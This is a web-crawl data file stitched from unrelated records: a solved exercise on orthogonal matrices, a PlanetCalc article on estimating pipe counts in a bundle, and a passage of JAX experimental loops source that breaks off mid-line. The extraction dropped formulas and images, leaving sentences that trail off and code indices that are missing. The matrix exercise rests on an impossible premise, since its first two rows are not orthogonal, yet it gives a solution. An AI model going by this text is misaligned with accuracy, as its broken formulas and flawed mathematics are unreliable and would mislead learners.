] | {"ft_lang_label":"__label__zh","ft_lang_prob":0.615951,"math_prob":0.9999522,"size":1289,"snap":"2020-45-2020-50","text_gpt3_token_len":917,"char_repetition_ratio":0.15642023,"word_repetition_ratio":0.0,"special_character_ratio":0.321955,"punctuation_ratio":0.34185302,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97773355,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-11-24T08:46:01Z\",\"WARC-Record-ID\":\"<urn:uuid:1e3341c0-4a66-4d5a-a912-de4e1b5279b5>\",\"Content-Length\":\"41050\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b3402f4e-9115-4589-a543-97cb23d04efe>\",\"WARC-Concurrent-To\":\"<urn:uuid:5c9218b6-9a3f-417a-8641-18d05b0dd5fe>\",\"WARC-IP-Address\":\"47.110.255.188\",\"WARC-Target-URI\":\"http://www.kuaihz.com/tid228_831547.html\",\"WARC-Payload-Digest\":\"sha1:NBUQ3XA6OORXNZCB42FJBPP4I656FPDO\",\"WARC-Block-Digest\":\"sha1:ZZLYCROGYB4JNOVLU377DPLCPDKIEWXU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141176049.8_warc_CC-MAIN-20201124082900-20201124112900-00193.warc.gz\"}"} |
http://www.leadinglesson.com/problem-on-orthogonal-matrices | [
"## Problem on orthogonal matrices",
null,
"An orthogonal matrix is one satisfying $A A^t = I$. Suppose $$A = \\begin{pmatrix} \\frac{1}{\\sqrt{2}} & \\frac{1}{\\sqrt{2}} & 0 \\\\ 0 & \\frac{1}{\\sqrt{2}} & \\frac{1}{\\sqrt{2}} \\\\ a & b & c \\end{pmatrix}.$$",
null,
"1. If $A$ is orthogonal, show that $(a, b, c)$ is perpendicular to $(\\frac{1}{\\sqrt{2}}, \\frac{1}{\\sqrt{2}}, 0)$ and $(0,\\frac{1}{\\sqrt{2}}, \\frac{1}{\\sqrt{2}})$\n2. If $A$ is orthogonal, show that $(a,b,c)$ is of unit length.\n3. Find two values of $(a, b, c)$ so that $A$ is orthogonal.\n\n• ## Solution",
null,
"#### Part (a)",
null,
"Recall that",
null,
"Hence, we are trying to show that $(a,b,c)\\cdot(\\frac{1}{\\sqrt{2}}, \\frac{1}{\\sqrt{2}}, 0)=0$ and $(a,b,c)\\cdot(0,\\frac{1}{\\sqrt{2}}, \\frac{1}{\\sqrt{2}})=0$.",
null,
"We are told $A A^t =I$, which is to say $$\\begin{pmatrix} \\frac{1}{\\sqrt{2}} & \\frac{1}{\\sqrt{2}} & 0 \\\\ 0 & \\frac{1}{\\sqrt{2}}& \\frac{1}{\\sqrt{2}} \\\\ a & b & c \\end{pmatrix} \\begin{pmatrix} \\frac{1}{\\sqrt{2}} & 0 & a \\\\ \\frac{1}{\\sqrt{2}} & \\frac{1}{\\sqrt{2}}& b \\\\ 0 & \\frac{1}{\\sqrt{2}} & c \\end{pmatrix} = \\begin{pmatrix} 1 & 0 & 0 \\\\ 0 & 1 & 0 \\\\ 0 & 0 & 1 \\end{pmatrix}$$",
null,
"Recall that",
null,
"Observing that the third row of $A$ is $(a,b,c)$ and the first column of $A^t$ is $(\\frac{1}{\\sqrt{2}}, \\frac{1}{\\sqrt{2}}, 0)$, the $(3,1)$ entry of the matrix multiplication tells us that $(a,b,c) \\cdot (\\frac{1}{\\sqrt{2}}, \\frac{1}{\\sqrt{2}}, 0)=0$:$$\\begin{pmatrix} \\frac{1}{\\sqrt{2}} & \\frac{1}{\\sqrt{2}} & 0 \\\\ 0 & \\frac{1}{\\sqrt{2}} & \\frac{1}{\\sqrt{2}} \\\\ \\color{blue}{a} & \\color{blue}{b} & \\color{blue}{c} \\end{pmatrix} \\begin{pmatrix} \\color{blue}{\\frac{1}{\\sqrt{2}}} & 0 & a \\\\ \\color{blue}{\\frac{1}{\\sqrt{2}}} & \\frac{1}{\\sqrt{2}} & b \\\\ \\color{blue}{0} & \\frac{1}{\\sqrt{2}} & c \\end{pmatrix} = \\begin{pmatrix} 1 & 0 & 0 \\\\ 0 & 1 & 0 \\\\ \\color{blue}{0} & 0 & 1 \\end{pmatrix}$$",
null,
"Similarly, the $(3,2)$ entry of the matrix multiplication tells us that $(a,b,c)\\cdot(0,\\frac{1}{\\sqrt{2}}, \\frac{1}{\\sqrt{2}})=0$:$$\\begin{pmatrix} \\frac{1}{\\sqrt{2}} & \\frac{1}{\\sqrt{2}} & 0 \\\\ 0 & \\frac{1}{\\sqrt{2}} & \\frac{1}{\\sqrt{2}} \\\\ \\color{blue}{a} & \\color{blue}{b} & \\color{blue}{c} \\end{pmatrix} \\begin{pmatrix} \\frac{1}{\\sqrt{2}} & \\color{blue}{0} & a \\\\ \\frac{1}{\\sqrt{2}} & \\color{blue}{\\frac{1}{\\sqrt{2}}} & b \\\\ 0 & \\color{blue}{\\frac{1}{\\sqrt{2}}} & c \\end{pmatrix} = \\begin{pmatrix} 1 & 0 & 0 \\\\ 0 & 1 & 0 \\\\ 0 & \\color{blue}{0} & 1 \\end{pmatrix}$$",
null,
"#### Part (b)",
null,
"Because the matrix multiplication has a direct interpretation as a dot product, we recall the relationship between dot product and length:",
null,
"Observe, that the $(3,3)$ entry of the matrix multiplication above tells us that $(a,b,c) \\cdot (a,b,c) = 1$:$$\\begin{pmatrix} \\frac{1}{\\sqrt{2}} & \\frac{1}{\\sqrt{2}} & 0 \\\\ 0 & \\frac{1}{\\sqrt{2}} & \\frac{1}{\\sqrt{2}} \\\\ \\color{blue}{a} & \\color{blue}{b} & \\color{blue}{c} \\end{pmatrix} \\begin{pmatrix} \\frac{1}{\\sqrt{2}} & 0 & \\color{blue}{a} \\\\ \\frac{1}{\\sqrt{2}} & \\frac{1}{\\sqrt{2}} & \\color{blue}{b} \\\\ 0 & \\frac{1}{\\sqrt{2}} & \\color{blue}{c} \\end{pmatrix} = \\begin{pmatrix} 1 & 0 & 0 \\\\ 0 & 1 & 0 \\\\ 0 & 0 & \\color{blue}{1} \\end{pmatrix}$$",
null,
"Hence, the length of $(a,b,c)$ is also $1$.",
null,
"#### Part (c)",
null,
"Combining parts (a) and (b), we need to find two separate vectors $(a,b,c)$ that have unit length and are perpendicular to the first two rows of $A$.",
null,
"Hence, if $A$ is orthogonal, \\begin{align} (a,b,c) &= \\Bigl(\\frac{1}{\\sqrt{3}}, -\\frac{1}{\\sqrt{3}}, \\frac{1}{\\sqrt{3}} \\Bigr), \\text{ or } \\\\ (a,b,c) &= \\Bigl(-\\frac{1}{\\sqrt{3}}, \\frac{1}{\\sqrt{3}}, -\\frac{1}{\\sqrt{3}} \\Bigr). \\end{align}"
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https://planetcalc.com/957/?license=1 | [
"homechevron_rightStudychevron_rightMathchevron_rightGeometry\n\n# Counting pipes from the end face\n\nThe approach to the calculation of the number of nested circles of smaller radius at a known length of the describing circle of a larger radius. Created by user request",
null,
"This content is licensed under Creative Commons Attribution/Share-Alike License 3.0 (Unported). That means you may freely redistribute or modify this content under the same license conditions and must attribute the original author by placing a hyperlink from your site to this work https://planetcalc.com/957/. Also, please do not modify any references to the original work (if any) contained in this content.\n\nLong story short - we have a bundle of tubes tied with something. We can measure the length of the \"rope\". The radius of a single tube too. It's necessary to determine the number of tubes without bluntly counting them.\n\nIt obvious that we can't calculate the exact number of tubes - there are too many factors.\n\nSo we can't do without counting but the task itself is quite interesting. We can make a calculation for some ideal situation then in reality we will have no more pipes than we calculated.\n\nCalculator making the estimation from above is situated below. And the article about it is situated below the calculator.",
null,
"#### Counting the number of packed circles\n\nDigits after the decimal point: 2\nThe approximate total area\n\nThe area of a single circle\n\nEstimated useful area\n\nNumber of circles (upper estimate)\n\nThe ideal case is when the tubes are lying evenly, circumference is normal etc. In general, some simplification of the problem, allowing to apply geometric knowledge and mathematical calculation :)\n\nBy the way, the estimation from above can be acquired by several methods.\n\nFor example, here is the simplest estimation from above:\n\n1. Find the area of a circle by the length of this circle\n\n2. Find cross-section area by the radius of the tube\n\n3. Divide the total cross-sectional area in the cross-sectional area of one pipe\n\nObviously, that will be an estimation from above - you can't fit more tubes than it's possible in this circle. But this estimation won't be exact because the tubes are not too close to each other, but with gaps, and a part of the total cross-sectional area consumed by holes between the tubes. See. image",
null,
"It is necessary to take into account these losses and make an assessment of the number of tubes more accurate.For starters let's deal with the area of the gap between the pipes. For this, we consider a triangle whose vertices are formed by the centers of adjoining circles. Each side is obviously equal to twice the radius, and Heron's formula for its area is . The area is composed of useful space occupied by the three sectors (from each circle), and the hole. This sector obviously has an 180 degrees angle, and, therefore, the area of the three sectors is equal to half the area of the circle .\nThus, the ratio of useful area to the total area of the triangle is equal to\nThe most remarkable feature of this conclusion is that this ratio does not depend on the radius.",
null,
"Move on. As you can see from the figure, \"loosely\" packed circle can be represented as \"tightly\" packed triangles with a hole in the middle. Thus, with the total area of the whole bundle and, considering that it is a bundle of triangles - from the relationship derived above, you can find how many useful area in this bundle - and then divide the useful space by the area of a single circle, thus having another approximation of the tube bundle from above.\n\nThe attentive reader might say - And what about the loss of area on the edge of the bundle? Visually, they are more than the losses within the bundle. This is true. But! Firstly, this does not negate the fact that we get estimation from above - as the estimation from above, it remains true - because if the loss of the area on the borders is larger, a little bit less pipes will fit than we estimated. Secondly, how large are this losses? Can they be estimated? I will do it now.",
null,
"So, tightly packed bundle (by the way, the thing that the densest packing is an option, in which each circle is surrounded by six others, proved mathematically) can be represented as packed triangles and packed rectangles, plus one circle formed by the folds.\n\nLosses of area in the rectangles, indeed, are more. Applying the same reasoning, we find that the ratio of useful and common area . The value is constant again, and can be compared - the usable area in the rectangle is less in times.\n\nThat is, the total area of the bundle is filled triangles with the ratio of usable area , rectangles with the ratio of usable areaand one more \"useful\" circle.Thus, the total effective area, on the basis of which it is possible to find the number of tubes in the bundle is composed of\n\nHonestly, I was too lazy to think about how to find the total area of the triangle and the total area of the rectangles, but it seems clear that with increasing bundle radius the number of rectangles increases in proportion to the length of the circle, and also to the radius, but the number of triangles increases in proportion to the area of a circle, which means to the square of the radius - that is faster.\nIt follows that, for sufficiently large (in comparison with a radius of a single circle) total bundle radius of a rectangular component can be neglected, or, more precisely, to consider its loss equal to losses of triangular component, and then the beam effective area will be equal to\n,and the number of tubes per bundle, respectively , which can be safely rounded to the next highest. All the same estimate from above.\n\nLet us recall that we are talking about a large bundle, as in the small (see. the latest picture) encircling the \"rope\" is not close in shape to a circle, the greater the bundle compared to a single circle, the closer its shape to one big circle - that is a simplification.\n\nI was promised to recalculate the pipes and compare the practice with the theory - now I'm waiting\n\nURL copied to clipboard",
null,
"PLANETCALC, Counting pipes from the end face"
] | [
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https://jax.readthedocs.io/en/latest/_modules/jax/experimental/loops.html | [
"# Source code for jax.experimental.loops\n\n```# Copyright 2019 Google LLC\n#\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#\n# Unless required by applicable law or agreed to in writing, software\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n\n\"\"\"Loops is an **experimental** module for syntactic sugar for loops and control-flow.\n\nThe current implementation should convert loops correctly to JAX internal\nrepresentation, and most transformations should work (see below), but we have\nnot yet fine-tuned the performance of the resulting XLA compilation!\n\nBy default, loops and control-flow in JAX are executed and inlined during tracing.\nFor example, in the following code the `for` loop is unrolled during JAX tracing::\n\narr = np.zeros(5)\nfor i in range(arr.shape):\narr[i] += 2.\nif i % 2 == 0:\narr[i] += 1.\n\nIn order to capture the structured control-flow one can use the higher-order\nJAX operations, which require you to express the body of the loops and\nconditionals as functions, and the array updates using a functional style that\nreturns an updated array, e.g.::\n\narr = np.zeros(5)\ndef loop_body(i, acc_arr):\narr1 = acc_arr.at[i].set(acc_arr[i] + 2.)\nreturn lax.cond(i % 2 == 0,\narr1,\nlambda arr1: arr1.at[i].set(arr1[i] + 1),\narr1,\nlambda arr1: arr1)\narr = lax.fori_loop(0, arr.shape, loop_body, arr)\n\nThis API quickly gets unreadable with deeper nested loops.\nWith the utilities in this module you can write loops and conditionals that\nlook closer to plain Python, as long as you keep the loop-carried state in a\nspecial `loops.scope` object and use `for` loops over special\n`scope.range` iterators::\n\nfrom jax.experimental import loops\nwith loops.Scope() as s:\ns.arr = np.zeros(5) # Create the mutable state of the loop as `scope` fields.\nfor i in s.range(s.arr.shape):\ns.arr = s.arr.at[i].set(s.arr[i] + 2.)\nfor _ in s.cond_range(i % 2 == 0): # Conditionals as loops with 0 or 1 iterations\ns.arr = s.arr.at[i].set(s.arr[i] + 1.)\n\nLoops constructed with `range` must have literal constant bounds. If you need\nloops with dynamic bounds, you can use the more general `while_range` iterator.\nHowever, in that case the `grad` transformation is not supported::\n\ns.idx = start\nfor _ in s.while_range(lambda: s.idx < end):\ns.idx += 1\n\nNotes:\n* Loops and conditionals to be functionalized can appear only inside scopes\nconstructed with `loops.Scope` and they must use one of the `Scope.range`\niterators. All other loops are unrolled during tracing, as usual in JAX.\n* Only scope data (stored in fields of the scope object) is functionalized.\nAll other state, e.g., in other Python variables, will not be considered as\nbeing part of the loop output. All references to the mutable state should be\nthrough the scope, e.g., `s.arr`.\n* The scope fields can be pytrees, and can themselves be mutable data structures.\n* Conceptually, this model is still \"functional\" in the sense that a loop over\na `Scope.range` behaves as a function whose input and output is the scope data.\n* Scopes should be passed down to callees that need to use loop\nfunctionalization, or they may be nested.\n* The programming model is that the loop body over a `scope.range` is traced\nonly once, using abstract shape values, similar to how JAX traces function\nbodies.\n\nRestrictions:\n* The tracing of the loop body should not exit prematurely with `return`,\n`exception`, `break`. This would be detected and reported as errors when we\nencounter unnested scopes.\n* The loop index variable should not be used after the loop. Similarly, one\nshould not use outside the loop data computed in the loop body, except data\nstored in fields of the scope object.\n* No new mutable state can be created inside a loop to be functionalized.\nAll mutable state must be created outside all loops and conditionals.\n* Once the loop starts all updates to loop state must be with new values of the\nsame abstract values as the values on loop start.\n* For a `while` loop, the conditional function is not allowed to modify the\nscope state. This is a checked error. Also, for `while` loops, the `grad`\ntransformation does not work. An alternative that allows `grad` is a bounded\nloop (`range`).\n\nTransformations:\n* All transformations are supported, except `grad` is not supported for\n`Scope.while_range` loops.\n* `vmap` is very useful for such loops because it pushes more work into the\ninner-loops, which should help performance for accelerators.\n\nFor usage example, see tests/loops_test.py.\n\"\"\"\n\nfrom functools import partial\nimport itertools\nimport numpy as np\nimport traceback\nfrom typing import Any, Dict, List, cast\n\nfrom jax import lax, core\nfrom jax._src.lax import control_flow as lax_control_flow\nfrom jax import tree_util\nfrom jax import numpy as jnp\nfrom jax.errors import UnexpectedTracerError\nfrom jax.interpreters import partial_eval as pe\nfrom jax._src.util import safe_map\n\n[docs]class Scope(object):\n\"\"\"A scope context manager to keep the state of loop bodies for functionalization.\n\nUsage::\n\nwith Scope() as s:\ns.data = 0.\nfor i in s.range(5):\ns.data += 1.\nreturn s.data\n\n\"\"\"\n\ndef __init__(self):\n# state to be functionalized, indexed by names, can be pytrees\nself._mutable_state: Dict[str, Any] = {}\n# the pytrees of abstract values; set when the loop starts.\nself._mutable_state_aval: Dict[str, core.AbstractValue] = {}\n\nself._active_ranges = [] # stack of active ranges, last one is the innermost.\nself._count_subtraces = 0 # How many net started subtraces, for error recovery\n\n[docs] def range(self, first, second=None, third=None):\n\"\"\"Creates an iterator for bounded iterations to be functionalized.\n\nThe body is converted to a `lax.scan`, for which all JAX transformations work.\nThe `first`, `second`, and `third` arguments must be integer literals.\n\nUsage::\n\nrange(5) # start=0, end=5, step=1\nrange(1, 5) # start=1, end=5, step=1\nrange(1, 5, 2) # start=1, end=5, step=2\n\ns.out = 1.\nfor i in scope.range(5):\ns.out += 1.\n\"\"\"\nif third is not None:\nstart = int(first)\nstop = int(second)\nstep = int(third)\nelse:\nstep = 1\nif second is not None:\nstart = int(first)\nstop = int(second)\nelse:\nstart = 0\nstop = int(first)\nreturn _BodyTracer(self, _BoundedLoopBuilder(start, stop, step))\n\n[docs] def cond_range(self, pred):\n\"\"\"Creates a conditional iterator with 0 or 1 iterations based on the boolean.\n\nThe body is converted to a `lax.cond`. All JAX transformations work.\n\nUsage::\n\nfor _ in scope.cond_range(s.field < 0.):\ns.field = - s.field\n\"\"\"\n# TODO: share these checks with lax_control_flow.cond\nif len(np.shape(pred)) != 0:\nraise TypeError(\n\"Pred must be a scalar, got {} of shape {}.\".format(pred, np.shape(pred)))\n\ntry:\npred_dtype = np.result_type(pred)\nexcept TypeError as err:\nmsg = (\"Pred type must be either boolean or number, got {}.\")\nraise TypeError(msg.format(pred)) from err\n\nif pred_dtype.kind != 'b':\nif pred_dtype.kind in 'iuf':\npred = pred != 0\nelse:\nmsg = (\"Pred type must be either boolean or number, got {}.\")\nraise TypeError(msg.format(pred_dtype))\n\nreturn _BodyTracer(self, _CondBuilder(pred))\n\n[docs] def while_range(self, cond_func):\n\"\"\"Creates an iterator that continues as long as `cond_func` returns true.\n\nThe body is converted to a `lax.while_loop`.\nThe `grad` transformation does not work.\n\nUsage::\n\nfor _ in scope.while_range(lambda: s.loss > 1.e-5):\ns.loss = loss(...)\n\nArgs:\ncond_func: a lambda with no arguments, the condition for the \"while\".\n\"\"\"\nreturn _BodyTracer(self, _WhileBuilder(cond_func))\n\ndef _push_range(self, range_):\nfor ar in self._active_ranges:\nif ar is range_:\nraise ValueError(\"Range is reused nested inside itself.\")\nself._active_ranges.append(range_)\n\ndef _pop_range(self, range_):\nif not (range_ is self._active_ranges[-1]):\nself._error_premature_exit_range()\nself._active_ranges.pop()\n\ndef _error_premature_exit_range(self):\n\"\"\"Raises error about premature exit from a range\"\"\"\nmsg = \"Some ranges have exited prematurely. The innermost such range is at\\n{}\"\nraise ValueError(msg.format(self._active_ranges[-1].location()))\n\ndef __getattr__(self, key):\n\"\"\"Accessor for scope data.\n\nscope data that has been stored in self._mutable_state.\n\"\"\"\nmt_val = self._mutable_state.get(key)\nif mt_val is None:\nraise AttributeError(\n\"Reading uninitialized data '{}' from the scope.\".format(key))\nreturn mt_val\n\ndef __setattr__(self, key, value):\n\"\"\"Update scope data to be functionalized.\n\nCalled for *all* attribute setting.\n\"\"\"\nif key in [\"_active_ranges\", \"_mutable_state\", \"_mutable_state_aval\", \"_count_subtraces\"]:\nobject.__setattr__(self, key, value)\nelse:\nif self._active_ranges:\nif key not in self._mutable_state:\nraise ValueError(\n\"New mutable state '{}' cannot be created inside a loop.\".format(key))\nassert key in self._mutable_state_aval\nold_aval = self._mutable_state_aval[key]\nflat_values, flat_tree = tree_util.tree_flatten(value)\nnew_aval = flat_tree.unflatten(safe_map(_BodyTracer.abstractify, flat_values))\nif old_aval != new_aval:\nmsg = (f\"Mutable state '{key}' is updated with new abstract value \"\nf\"{new_aval}, which is different from previous one {old_aval}\")\nraise TypeError(msg)\nself._mutable_state[key] = value\n\ndef __enter__(self):\nreturn self\n\ndef __exit__(self, exc_type, exc_val, exc_tb):\ntry:\nif exc_type is None:\nif self._active_ranges: # We have some ranges that we did not exit properly\nself._error_premature_exit_range()\nreturn True\nelse:\n# The exception may come from inside one or more ranges. We let the current\n# exception propagate, assuming it terminates the tracing. If not, the\n# tracers may be left in an inconsistent state.\nreturn False # re-raise\nfinally:\n# Ensure we leave the global trace_state as we found it\nwhile self._count_subtraces > 0:\nself.end_subtrace()\n\n[docs] def start_subtrace(self):\n\"\"\"Starts a nested trace, returns the Trace object.\"\"\"\n# TODO: This follows the __enter__ part of core.new_main.\nmain = core.MainTrace(level, pe.JaxprTrace)\nself._count_subtraces += 1\nreturn pe.JaxprTrace(main, core.cur_sublevel())\n\ndef end_subtrace(self):\n# TODO: This follows the __exit__ part of core.new_main\nself._count_subtraces -= 1\n\nclass _BodyTracer(object):\n\"\"\"Traces the body of the loop and builds a functional control-flow representation.\n\nThis class is also an iterator, only the first iteration is traced.\n\"\"\"\n\ndef __init__(self, scope, loop_builder):\n\"\"\"\nParams:\nscope: the current scope\nloop_builder: instance of _LoopBuilder\n\"\"\"\nself.scope = scope\nself.loop_builder = loop_builder\nself.first_iteration = True # If we are tracing the first iteration\n# Stack trace, without this line and the s.range function\nself.stack = traceback.StackSummary.from_list(\ncast(List[Any], traceback.extract_stack()[:-2]))\n\n# Next are state kept from the start of the first iteration to the end of the iteration.\n# List of scope fields carried through the loop\nself.carried_state_names: List[str] = None\nself.carried_state_initial = {} # Copy of the initial values of state, before loop starts\n# The parameters that were created for state upon entering an arbitrary iteration.\nself.carried_state_vars = {} # For each state, the list of Tracer variables introduced\n# when starting to trace the loop body.\n\nself.trace = None\n\ndef location(self):\n\"\"\"A multiline string representing the source location of the range.\"\"\"\nif self.stack is not None:\nreturn \" \".join(self.stack.format())\nelse:\nreturn \"\"\n\ndef __iter__(self):\n\"\"\"Called before starting the first iteration.\"\"\"\nself.first_iteration = True # In case we reuse the range\nreturn self\n\ndef __next__(self):\nif self.first_iteration:\nself.first_iteration = False\nself.scope._push_range(self)\nself.start_tracing_body()\nreturn self._index_var\nelse:\nself.end_tracing_body()\nself.scope._pop_range(self)\nraise StopIteration # Trace only one iteration.\n\ndef next(self): # For PY2\nreturn self.__next__()\n\ndef start_tracing_body(self):\n\"\"\"Called upon starting the tracing of the loop body.\"\"\"\n# TODO: This is the first part of partial_eval.trace_to_subjaxpr. Share.\nself.trace = self.scope.start_subtrace()\n# The entire state is carried.\nself.carried_state_names = sorted(self.scope._mutable_state.keys())\nfor key in self.carried_state_names:\ninit_val = self.scope._mutable_state[key]\nflat_init_vals, init_tree = tree_util.tree_flatten(init_val)\nflat_init_avals = safe_map(_BodyTracer.abstractify, flat_init_vals)\nflat_init_pvals = safe_map(pe.PartialVal.unknown, flat_init_avals)\nflat_init_vars = safe_map(self.trace.new_arg, flat_init_pvals)\nself.carried_state_vars[key] = flat_init_vars\n# Set the scope._mutable_state to new tracing variables.\nself.scope._mutable_state[key] = init_tree.unflatten(flat_init_vars)\nself.scope._mutable_state_aval[key] = init_tree.unflatten(flat_init_avals)\n# Make a copy of the initial state by unflattening the flat_init_vals\nself.carried_state_initial[key] = init_tree.unflatten(flat_init_vals)\n\nindex_var_aval = _BodyTracer.abstractify(0)\nindex_var_pval = pe.PartialVal.unknown(index_var_aval)\nself._index_var = self.trace.new_arg(index_var_pval)\n\ndef end_tracing_body(self):\n\"\"\"Called when we are done tracing one iteration of the body.\"\"\"\n# We will turn the body of the loop into a function that takes some values\n# for the scope state (carried_state_names) and returns the values for the\n# same state fields after one execution of the body. For some of the ranges,\n# e.g., scope.range, the function will also take the index_var as last parameter.\nin_tracers = tuple(itertools.chain(*[self.carried_state_vars[ms] for ms in self.carried_state_names]))\nif self.loop_builder.can_use_index_var():\nin_tracers += (self._index_var,)\n\n# Make the jaxpr for the body of the loop\n# TODO: See which mutable state was changed in the one iteration.\n# For now, we assume all state changes.\nbody_out_tracers = []\nfor key in self.carried_state_names:\nnew_val = self.scope._mutable_state[key]\nflat_new_values, flat_new_tree = tree_util.tree_flatten(new_val)\nbody_out_tracers.extend(flat_new_values)\nassert key in self.scope._mutable_state_aval\nold_aval = self.scope._mutable_state_aval[key]\nnew_aval = flat_new_tree.unflatten(safe_map(_BodyTracer.abstractify, flat_new_values))\nif old_aval != new_aval:\nmsg = (f\"Mutable state '{key}' had at the end of the loop body new abstract value \"\nf\"{new_aval}, which is different from initial one {old_aval}\")\nraise TypeError(msg)\n\ntry:\n# If the body actually uses the index variable, and is not allowed to\n# (e.g., cond_range and while_range), then in_tracers will not contain\n# the tracer for the index_var, and trace_to_jaxpr_finalize will throw\n# an assertion error.\nbody_closed_jaxpr, body_const_vals = _BodyTracer.trace_to_jaxpr_finalize(\nin_tracers=in_tracers,\nout_tracers=body_out_tracers,\ntrace=self.trace)\nexcept UnexpectedTracerError as e:\nif \"Tracer not among input tracers\" in str(e):\nraise ValueError(\"Body of cond_range or while_range should not use the \"\n\"index variable returned by iterator.\") from e\nraise\n# End the subtrace for the loop body, before we trace the condition\nself.scope.end_subtrace()\n\ncarried_init_val = tuple([self.carried_state_initial[ms]\nfor ms in self.carried_state_names])\ncarried_init_vals, carried_tree = tree_util.tree_flatten(carried_init_val)\nassert len(carried_init_vals) == len(body_out_tracers)\n\ncarried_out_vals = self.loop_builder.build_output_vals(\nself.scope, self.carried_state_names, carried_tree,\ncarried_init_vals, body_closed_jaxpr, body_const_vals)\ncarried_mutable_state_unflattened = tree_util.tree_unflatten(carried_tree,\ncarried_out_vals)\n\n# Update the mutable state with the values of the changed vars, after the loop.\nfor ms, mv in zip(self.carried_state_names, carried_mutable_state_unflattened):\nself.scope._mutable_state[ms] = mv\n\n@staticmethod\ndef abstractify(x):\nreturn core.raise_to_shaped(core.get_aval(x), weak_type=False)\n\n@staticmethod\ndef trace_to_jaxpr_finalize(in_tracers, out_tracers, trace, instantiate=True):\n# TODO: This is the final part of the partial_eval.trace_to_subjaxpr. Share.\ninstantiate = [instantiate] * len(out_tracers)\nout_tracers = safe_map(trace.full_raise, safe_map(core.full_lower, out_tracers))\nout_tracers = safe_map(partial(pe.instantiate_const_at, trace),\ninstantiate, out_tracers)\njaxpr, consts, env = pe.tracers_to_jaxpr(in_tracers, out_tracers)\nassert not env # TODO: this is from partial_eval.trace_to_jaxpr. Share.\nclosed_jaxpr = core.ClosedJaxpr(pe.convert_constvars_jaxpr(jaxpr), ())\nreturn closed_jaxpr, consts\n\nclass _LoopBuilder(object):\n\"\"\"Abstract superclass for the loop builders\"\"\"\n\ndef can_use_index_var(self):\n\"\"\"Whether this kind of loop can use the index var returned by the range iterator.\"\"\"\nraise NotImplementedError\n\ndef build_output_vals(self, scope, carried_state_names, carried_tree,\ninit_vals, body_closed_jaxpr, body_const_vals):\n\"\"\"Builds the output values for the loop carried state.\n\nParams:\nscope: the current Scope object.\ncarried_state_names: the list of names of mutable state fields that is\ncarried through the body.\ncarried_tree: the PyTreeDef for the tuple of carried_state_names.\ninit_vals: the initial values on body entry corresponding to the init_tree.\nbody_closed_jaxpr: the Jaxpr for the body returning the new values of\ncarried_state_names.\nbody_const_vals: the constant values for the body.\n\nReturns:\nthe output tracer corresponding to the lax primitive representing the loop.\n\"\"\"\nraise NotImplementedError\n\ndef __str__(self):\nraise NotImplementedError\n\nclass _BoundedLoopBuilder(_LoopBuilder):\n\"\"\"Builds a lax operation corresponding to a bounded range iteration.\"\"\"\n\ndef __init__(self, start, stop, step):\nself.start = start\nself.stop = stop\nself.step = step\nself._index_var = None # The parameter for the index variable\n\ndef can_use_index_var(self):\nreturn True\n\ndef build_output_vals(self, scope, carried_state_names, carried_tree,\ninit_vals, body_closed_jaxpr, body_const_vals):\narange_val = jnp.arange(self.start, stop=self.stop, step=self.step)\nreturn lax_control_flow.scan_p.bind(*body_const_vals, *init_vals, arange_val,\nreverse=False, length=arange_val.shape,\njaxpr=body_closed_jaxpr,\nnum_consts=len(body_const_vals),\nnum_carry=len(init_vals),\nlinear=(False,) * (len(body_const_vals) +\nlen(init_vals) + 1),\nunroll=1)\n\nclass _CondBuilder(_LoopBuilder):\n\"\"\"Builds a lax.cond operation.\"\"\"\n\ndef __init__(self, pred):\nself.index = lax.convert_element_type(pred, np.int32)\n\ndef can_use_index_var(self):\nreturn False\n\ndef build_output_vals(self, scope, carried_state_names, carried_tree,\ninit_vals, body_closed_jaxpr, body_const_vals):\n# Simulate a pass-through false branch\nin_vals, in_tree = tree_util.tree_flatten(\n(body_const_vals, tree_util.tree_unflatten(carried_tree, init_vals)))\nin_avals = safe_map(_BodyTracer.abstractify, in_vals)\npass_through_closed_jaxpr, pass_through_const_vals, _ = (\nlax_control_flow._initial_style_jaxpr(\nlambda *args: args,\nin_tree,\ntuple(in_avals)))\nassert len(pass_through_const_vals) == 0\nargs = [*body_const_vals, *init_vals]\nreturn lax_control_flow.cond_p.bind(\nself.index, *args,\nbranches=(pass_through_closed_jaxpr, body_closed_jaxpr),\nlinear=(False,) * len(args))\n\nclass _WhileBuilder(_LoopBuilder):\n\"\"\"Builds a lax.while operation.\"\"\"\n\ndef __init__(self, cond_func):\nself.cond_func = cond_func # Function with 0 arguments (can reference the scope)\n\ndef can_use_index_var(self):\nreturn False\n\ndef build_output_vals(self, scope, carried_state_names, carried_tree,\ninit_vals, body_closed_jaxpr, body_const_vals):\n# Trace the conditional function. cond_func takes 0 arguments, but\n# for lax.while we need a conditional function that takes the\n# carried_state_names. _initial_style_jaxpr will start its own trace and\n# will create tracers for all the carried state. We must put these values\n# in the scope._mutable_state before we trace the conditional\n# function.\ndef cond_func_wrapped(*args):\nassert len(args) == len(carried_state_names)\nfor ms, init_ms in zip(carried_state_names, args):\nscope._mutable_state[ms] = init_ms\nres = self.cond_func()\n# Conditional function is not allowed to modify the scope state\nfor ms, init_ms in zip(carried_state_names, args):\nif not (scope._mutable_state[ms] is init_ms):\nraise ValueError(f\"Conditional function modifies scope.{ms} field.\")\nreturn res\n\ninit_avals = safe_map(_BodyTracer.abstractify, init_vals)\ncond_jaxpr, cond_consts, cond_tree = (\nlax_control_flow._initial_style_jaxpr(cond_func_wrapped,\ncarried_tree,\ntuple(init_avals)))\n# TODO: share these checks with lax_control_flow.while\nif not tree_util.treedef_is_leaf(cond_tree):\nraise TypeError(f\"cond_fun must return a boolean scalar, but got pytree {cond_tree}.\")\nif not safe_map(core.typecompat, cond_jaxpr.out_avals, [core.ShapedArray((), np.bool_)]):\nraise TypeError(f\"cond_fun must return a boolean scalar, but got output type(s) \"\nf\"{cond_jaxpr.out_avals}.\")\n\nreturn lax_control_flow.while_p.bind(*cond_consts, *body_const_vals, 